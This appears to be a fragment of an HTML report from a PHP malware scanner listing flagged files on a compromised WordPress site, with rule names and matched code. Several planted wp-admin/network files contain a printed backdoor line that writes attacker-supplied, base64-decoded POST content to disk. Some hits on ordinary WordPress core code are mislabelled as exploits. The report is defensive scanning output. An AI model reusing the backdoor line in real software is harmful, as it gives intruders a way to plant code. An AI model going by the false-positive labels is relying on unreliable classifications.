</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_159").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-insbidl.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 338.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:17:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:17:55</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_160" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_160").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-inscilf.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 338.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:12:34</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:12:34</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_161" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_161").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-insrpkq.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 338.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 22:05:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 22:05:15</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_162" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_162").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-inslobk.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 338.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:31:29</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:31:29</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_163" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_163").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-instyew.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 341.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:51:10</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:51:10</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_164" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_164").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/includes/ms.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 33.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:32</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_165" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 518</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">riny</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_165").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/includes/class-wp-filesystem-ssh2.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 22.76 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:32</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_166" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function posix_getpwuid <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `posix_getpwuid`</p><p><i>[<a href="https://www.php.net/posix_getpwuid" target="_blank" class="text-primary">https://www.php.net/posix_getpwuid</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">posix_getpwuid</span><span style="color: #007700">( </span><span style="color: #0000BB">$owneruid </span><span style="color: #007700">); if ( ! </span><span style="color: #0000BB">$ownerarray </span><span style="color: #007700">) { return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } return </span><span style="color: #0000BB">$ownerarray</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]; } public function </span><span style="color: #0000BB">getchmod</span><span style="color: #007700">( </span><span style="color: #0000BB">$file </span><span style="color: #007700">) { return </span><span style="color: #0000BB">substr</span><span style="color: #007700">( </span><span style="color: #0000BB">decoct</span><span style="color: #007700">( @</span><span style="color: #0000BB">fileperms</span><span style="color: #007700">( </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">sftp_path</span><span style="color: #007700">( </span><span style="color: #0000BB">$file </span><span style="color: #007700">) ) ), -</span><span style="color: #0000BB">3 </span><span style="color: #007700">); } public function </span><span style="color: #0000BB">group</span><span style="color: #007700">( </span><span style="color: #0000BB">$file </span><span style="color: #007700">) { </span><span style="color: #0000BB">$gid </span><span style="color: #007700">= @</span><span style="color: #0000BB">filegroup</span><span style="color: #007700">( </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">sftp_path</span><span style="color: #007700">( </span><span style="color: #0000BB">$file </span><span style="color: #007700">) ); if ( ! </span><span style="color: #0000BB">$gid </span><span style="color: #007700">) { return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } if ( ! </span><span style="color: #0000BB">function_exists</span><span style="color: #007700">( </span><span style="color: #DD0000">'posix_getgrgid' </span><span style="color: #007700">) ) { return </span><span style="color: #0000BB">$gid</span><span style="color: #007700">; } </span><span style="color: #0000BB">$grouparray </span><span style="color: #007700">= </span><span style="color: #0000BB">posix_getgrgid</span><span style="color: #007700">( </span><span style="color: #0000BB">$gid </span><span style="color: #007700">); if ( ! </span><span style="color: #0000BB">$grouparray </span><span style="color: #007700">) { return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } return </span><span style="color: #0000BB">$grouparray</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]; } public </span><span style="color: #0000BB">fun</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_166").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/includes/file.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 95.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-06 03:17:50</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-06 03:17:50</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_167" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 794</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$overrides</span><span style="color: #007700">[</span><span style="color: #DD0000">'upload_error_handler'</span><span style="color: #007700">]( &</span><span style="color: #0000BB">$file</span><span style="color: #007700">, </span><span style="color: #0000BB">$message </span><span style="color: #007700">)</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_167").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/includes/class-wp-debug-data.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 65.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:32</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_168" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit php_uname <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 348</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">( </span><span style="color: #DD0000">'m' </span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">exec</span><span style="color: #007700">( </span><span style="color: #DD0000">'gs --version' </span><span style="color: #007700">); if ( empty( </span><span style="color: #0000BB">$gs </span><span style="color: #007700">) ) { </span><span style="color: #0000BB">$gs </span><span style="color: #007700">= </span><span style="color: #0000BB">$not_available</span><span style="color: #007700">; </span><span style="color: #0000BB">$gs_debug </span><span style="color: #007700">= </span><span style="color: #DD0000">'not available'</span><span style="color: #007700">; } else { </span><span style="color: #0000BB">$gs_debug </span><span style="color: #007700">= </span><span style="color: #0000BB">$gs</span><span style="color: #007700">; } } else { </span><span style="color: #0000BB">$gs </span><span style="color: #007700">= </span><span style="color: #0000BB">__</span><span style="color: #007700">( </span><span style="color: #DD0000">'Unable to determine if Ghostscript is installed' </span><span style="color: #007700">); </span><span style="color: #0000BB">$gs_debug </span><span style="color: #007700">= </span><span style="color: #DD0000">'unknown'</span><span style="color: #007700">; } </span><span style="color: #0000BB">$fields</span><span style="color: #007700">[</span><span style="color: #DD0000">'ghostscript_version'</span><span style="color: #007700">] = array( </span><span style="color: #DD0000">'label' </span><span style="color: #007700">=> </span><span style="color: #0000BB">__</span><span style="color: #007700">( </span><span style="color: #DD0000">'Ghostscript version' </span><span style="color: #007700">), </span><span style="color: #DD0000">'value' </span><span style="color: #007700">=> </span><span style="color: #0000BB">$gs</span><span style="color: #007700">, </span><span style="color: #DD0000">'debug' </span><span style="color: #007700">=> </span><span style="color: #0000BB">$gs_debug</span><span style="color: #007700">, ); return array( </span><span style="color: #DD0000">'label' </span><span style="color: #007700">=> </span><span style="color: #0000BB">__</span><span style="color: #007700">( </span><span style="color: #DD0000">'Media Handling' </span><span style="color: #007700">), </span><span style="color: #DD0000">'fields' </span><span style="color: #007700">=> </span><span style="color: #0000BB">$fields</span><span style="color: #007700">, ); } private static function </span><span style="color: #0000BB">get_wp_mu_plugins</span><span style="color: #007700">(): array { </span><span style="color: #0000BB">$mu_plugins </span><span style="color: #007700">= </span><span style="color: #0000BB">get_mu_plugins</span><span style="color: #007700">(...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 456</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">SUHOSIN</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 457</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_168").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/includes/class-pclzip.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 192.08 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:32</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 4</span><br><table id="file_169" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2627</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_PRE_ADD</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_PRE_ADD</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2785</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_POST_ADD</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_POST_ADD</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3707</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_PRE_EXTRACT</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_PRE_EXTRACT</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3958</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$p_options</span><span style="color: #007700">[</span><span style="color: #0000BB">PCLZIP_CB_POST_EXTRACT</span><span style="color: #007700">](</span><span style="color: #0000BB">PCLZIP_CB_POST_EXTRACT</span><span style="color: #007700">, </span><span style="color: #0000BB">$v_local_header</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_169").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/includes/class-wp-filesystem-direct.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 17.72 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:32</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_170" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function posix_getpwuid <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `posix_getpwuid`</p><p><i>[<a href="https://www.php.net/posix_getpwuid" target="_blank" class="text-primary">https://www.php.net/posix_getpwuid</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">posix_getpwuid</span><span style="color: #007700">( </span><span style="color: #0000BB">$owneruid </span><span style="color: #007700">); if ( ! </span><span style="color: #0000BB">$ownerarray </span><span style="color: #007700">) { return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } return </span><span style="color: #0000BB">$ownerarray</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]; } public function </span><span style="color: #0000BB">getchmod</span><span style="color: #007700">( </span><span style="color: #0000BB">$file </span><span style="color: #007700">) { return </span><span style="color: #0000BB">substr</span><span style="color: #007700">( </span><span style="color: #0000BB">decoct</span><span style="color: #007700">( @</span><span style="color: #0000BB">fileperms</span><span style="color: #007700">( </span><span style="color: #0000BB">$file </span><span style="color: #007700">) ), -</span><span style="color: #0000BB">3 </span><span style="color: #007700">); } public function </span><span style="color: #0000BB">group</span><span style="color: #007700">( </span><span style="color: #0000BB">$file </span><span style="color: #007700">) { </span><span style="color: #0000BB">$gid </span><span style="color: #007700">= @</span><span style="color: #0000BB">filegroup</span><span style="color: #007700">( </span><span style="color: #0000BB">$file </span><span style="color: #007700">); if ( ! </span><span style="color: #0000BB">$gid </span><span style="color: #007700">) { return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } if ( ! </span><span style="color: #0000BB">function_exists</span><span style="color: #007700">( </span><span style="color: #DD0000">'posix_getgrgid' </span><span style="color: #007700">) ) { return </span><span style="color: #0000BB">$gid</span><span style="color: #007700">; } </span><span style="color: #0000BB">$grouparray </span><span style="color: #007700">= </span><span style="color: #0000BB">posix_getgrgid</span><span style="color: #007700">( </span><span style="color: #0000BB">$gid </span><span style="color: #007700">); if ( ! </span><span style="color: #0000BB">$grouparray </span><span style="color: #007700">) { return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } return </span><span style="color: #0000BB">$grouparray</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]; } public function </span><span style="color: #0000BB">copy</span><span style="color: #007700">( </span><span style="color: #0000BB">$source</span><span style="color: #007700">, </span><span style="color: #0000BB">$destination</span><span style="color: #007700">, </span><span style="color: #0000BB">$over</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_170").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/js/js/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:34</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:34</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_171" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
